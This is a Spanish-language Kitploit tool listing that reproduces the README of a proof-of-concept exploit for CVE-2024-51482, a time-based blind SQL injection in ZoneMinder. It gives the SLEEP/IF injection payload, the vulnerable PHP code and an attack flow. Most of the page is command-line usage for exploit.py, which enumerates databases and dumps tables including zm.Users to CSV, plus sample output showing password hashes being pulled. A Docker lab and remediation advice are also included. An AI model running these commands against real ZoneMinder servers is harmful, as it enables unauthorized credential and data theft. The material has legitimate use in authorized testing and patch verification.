Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482-POC — PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos. | Kitploit
Herramientas/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos.

Ver Repositorio
7hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal.


Índice

  • ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482
    • Índice
    • Resumen
    • Detalles de la Vulnerabilidad
      • CVE-2024-51482 — Inyección SQL ciega basada en tiempo
      • Causa Raíz
      • Flujo del Ataque
    • Estructura del Repositorio
    • Requisitos
    • Instalación
      • PoC
      • Laboratorio Docker
    • Uso
      • Comportamiento por defecto
      • Pantalla de ayuda
      • Comandos
      • Opciones de salida
      • Referencia de flags
      • Ejemplo Completo
      • Notas
      • Laboratorio Docker
    • Ejemplo de Salida
    • Remediación
      • Contra este CVE
      • Contra vulnerabilidades similares
    • Cronología de Divulgación
    • Referencias

Resumen

Este repositorio contiene un PoC de inyección SQL basada en tiempo dirigido a ZoneMinder.

La herramienta permite:

  • Verificación de vulnerabilidad
  • Enumeración de bases de datos
  • Descubrimiento de tablas y columnas
  • Volcado completo de tablas
  • Exportación a CSV

También incluye un laboratorio Docker completamente reproducible para pruebas seguras.


Detalles de la Vulnerabilidad

CVE-2024-51482 — Inyección SQL ciega basada en tiempo

  • ID CVE: CVE-2024-51482
  • Puntuación CVSS v3.1: 10.0 (Crítica)
  • Tipo de Vulnerabilidad: Inyección SQL ciega basada en tiempo
  • Versiones Afectadas: ZoneMinder v1.37.* <= 1.37.64
  • Vector de Ataque: Endpoint autenticado (removetag)
  • Impacto: Divulgación completa de base de datos, compromiso de integridad de datos
  • Autenticación Requerida: Sí (un usuario con pocos privilegios es suficiente)

Causa Raíz

ZoneMinder es una aplicación gratuita y de código abierto para videovigilancia. La vulnerabilidad surge de una validación insuficiente de entrada en el endpoint removetag de ZoneMinder. La entrada proporcionada por el usuario se incorpora directamente en consultas SQL sin la adecuada sanitización o parametrización, permitiendo a los atacantes inyectar cargas útiles SQL basadas en booleanos maliciosas. El exploit aprovecha:

root@kitploit:~
SLEEP(x - IF(condition, 0, x))

para inferir datos mediante el tiempo de respuesta.

Fragmento de código vulnerable completo del Aviso de Mantenedor de Github:

root@kitploit:~
case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Flujo del Ataque

root@kitploit:~
Atacante                              Aplicación Web ZoneMinder
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sesión autenticada
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Consulta SQL booleana ejecutada
   │                               IF(condition, sin retardo, SLEEP)
   │◄────────────────────────────────────────│
   │  Respuesta retardada (oráculo de tiempo) │  ← condición inferida
   │                                         │
   │  Repetir solicitudes                    │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Diferencias de tiempo revelan caracteres │
   │                                         │
   │  Búsqueda binaria por carácter          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Datos extraídos (1 carácter a la vez)  │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Divulgación completa de la base de datos│
   │                                         │
   ✓  Exfiltración completa de datos mediante SQLi ciega

Estructura del Repositorio

root@kitploit:~
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Requisitos

  • Python 3.8+
  • requests
  • Docker y docker-compose (para el entorno de laboratorio)

Instalación

PoC

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Laboratorio Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurar variables de entorno
docker compose up -d

Uso

Comportamiento por defecto

Sin ningún flag, la herramienta se autenticará en el objetivo, comprobará su vulnerabilidad y, si es vulnerable, volcará las columnas ID, Username, Password, Name y Email de la tabla zm.Users (comando dump-users).

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password>

Pantalla de ayuda

root@kitploit:~
python exploit.py -h

Comandos

check

Solo comprueba si el objetivo es vulnerable.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Vuelca las columnas ID, Username, Password, Name y Email de la tabla zm.Users. Comando por defecto si no se especifica ninguno.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Lista todas las bases de datos.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Lista las tablas en una base de datos especificada.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Lista las columnas en una tabla especificada.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

Vuelca todos los datos de una tabla especificada.

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

También puedes especificar las columnas a volcar (por defecto todas):

root@kitploit:~
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

Opciones de salida

Deshabilitar salida en terminal

root@kitploit:~
--no-display

Exportar a CSV

Si el archivo no existe, se creará. Si ya existe, los nuevos resultados se añadirán.

root@kitploit:~
--outfile results.csv

Referencia de flags

Objetivo y Autenticación

Comandos Principales

Opciones de Comando

Rendimiento y Explotación

Opciones de Salida

FlagDescripciónEjemplo
--outfileGuardar salida en un archivo CSV--outfile results.csv
--no-displayDeshabilitar salida en terminal--no-display

Registro y Visualización

Ejemplo Completo

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8080 \
  -u admin -p admin \
  dump-table \
  --db zm \
  --table Users \
  --columns Username,Password \
  --threads 6 \
  --delay 2 \
  --outfile dump.csv

Notas

  • Todos los comandos requieren autenticación (cookie o credenciales).
  • dump-users es un atajo para volcar la tabla zm.Users.
  • El multi-hilo acelera significativamente la extracción pero puede aumentar la carga en el objetivo. 5 hilos y un retardo de 3 segundos son valores seguros por defecto. Usa valores personalizados con precaución.
  • La salida CSV soporta datos tanto estructurados como planos (por ejemplo, lista de bases de datos frente a volcados completos de tabla).
  • Usa --no-check solo si estás seguro de que el objetivo es vulnerable.

Laboratorio Docker

El docker-compose.yml incluido configura una instancia vulnerable de ZoneMinder.

root@kitploit:~
cp .env.example .env  # Configurar variables de entorno
docker compose up -d

Accede a la interfaz web en http://localhost:8080/ (o en tu puerto personalizado). Las credenciales por defecto son admin:admin. Luego puedes ejecutar el exploit contra esta instancia local para realizar pruebas.


Ejemplo de Salida

root@kitploit:~
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                   
_________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
\_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
/    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
\     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
 \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
        \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                   

[∗] URL objetivo: http://localhost:8080/
[∗] Módulo: dump-table
[∗] La salida se guardará en: ./out.csv

[∗] Intentando iniciar sesión con autenticación de usuario/contraseña
 🡲  Credenciales: admin:admin
[+] Autenticado exitosamente como usuario admin

[∗] Probando vulnerabilidad del objetivo...
[+] El objetivo parece ser vulnerable (el tiempo de respuesta indica una inyección exitosa).

[∗] Volcando contenido de la tabla zm.Users...
[+] Columnas encontradas: Username, Password
[∗] Obteniendo número de filas en la tabla...
[+] La tabla contiene 2 filas. Iniciando volcado...

[∗] Progreso: 5/5 | admin
[∗] Progreso: 60/60 | $2h$12$NHZs...
[+] Fila 1 recuperada: admin, $2h$12$NHZs...

[∗] Progreso: 4/4 | flag
[∗] Progreso: 60/60 | $2y$10$1Ei....
[+] Fila 2 recuperada: flag, $2y$10$1Ei....

+----------+----------------+
| Username | Password       |
+----------+----------------+
| admin    | $2h$12$NHZs... |
| flag     | $2y$10$1Ei.... |
+----------+----------------+

[+] Resultados escritos en ./out.csv
[+] Trabajo completo. ¡Adiós!

Remediación

Contra este CVE

  • Actualizar a ZoneMinder v1.37.65 o posterior, que incluye una corrección para CVE-2024-51482.

Contra vulnerabilidades similares

  • Implementar una validación y sanitización adecuada de todas las entradas proporcionadas por el usuario.
  • Usar consultas parametrizadas o sentencias preparadas para prevenir la inyección SQL.

Cronología de Divulgación

  • 2024-10-31: El usuario Entropt y el usuario connortechnology divulgan la vulnerabilidad en el GitHub de ZoneMinder.
  • 2024-11-01: Se envía un parche al repositorio de ZoneMinder.
  • 2025-02-13: Se etiqueta la versión 1.37.65.

Referencias

  • Detalles de CVE-2024-51482
  • Entrada NIST NVD
  • Sitio web oficial de ZoneMinder
  • Aviso de seguridad del mantenedor en GitHub de ZoneMinder
  • Commit de corrección en GitHub de ZoneMinder
  • Hoja de referencia de OWASP para prevención de inyección SQL
Descargar herramienta
FlagDescripciónEjemplo
-t, --targetURL base del objetivo-t http://localhost:8080
-u, --userNombre de usuario para autenticación-u admin
-p, --passwordContraseña para autenticación-p admin
--cookieUsar una cookie ZMSESSID existente en lugar de iniciar sesión--cookie abc123...
ComandoDescripciónEjemplo
checkProbar si el objetivo es vulnerable (SQLi basada en tiempo)check
dump-usersVolcar directamente la tabla zm.Usersdump-users
list-dbListar todas las bases de datoslist-db
list-tablesListar tablas de una base de datoslist-tables --db zm
list-columnsListar columnas de una tablalist-columns --db zm --table Users
dump-tableVolcar una tabla específicadump-table --db zm --table Users
FlagDescripciónRequeridoEjemplo
--dbNombre de la base de datosSí (para ops de tabla/columna)--db zm
--tableNombre de la tablaSí (para columna/volcado)--table Users
--columnsLista separada por comas de columnas a volcarOpcional--columns Username,Password
FlagDescripciónPor defectoEjemplo
--threadsNúmero de hilos de extracción concurrentes5--threads 6
--delayRetardo usado para SQLi basada en tiempo3--delay 2
--no-checkOmitir verificación de vulnerabilidad antes de la explotaciónFalse--no-check
FlagDescripciónPor defectoEjemplo
-v, --verboseHabilitar registro de depuraciónFalse-v
--log-fileRuta al archivo de registrologs/exploit.log--log-file out.log
--no-colorDeshabilitar salida coloreadaFalse--no-color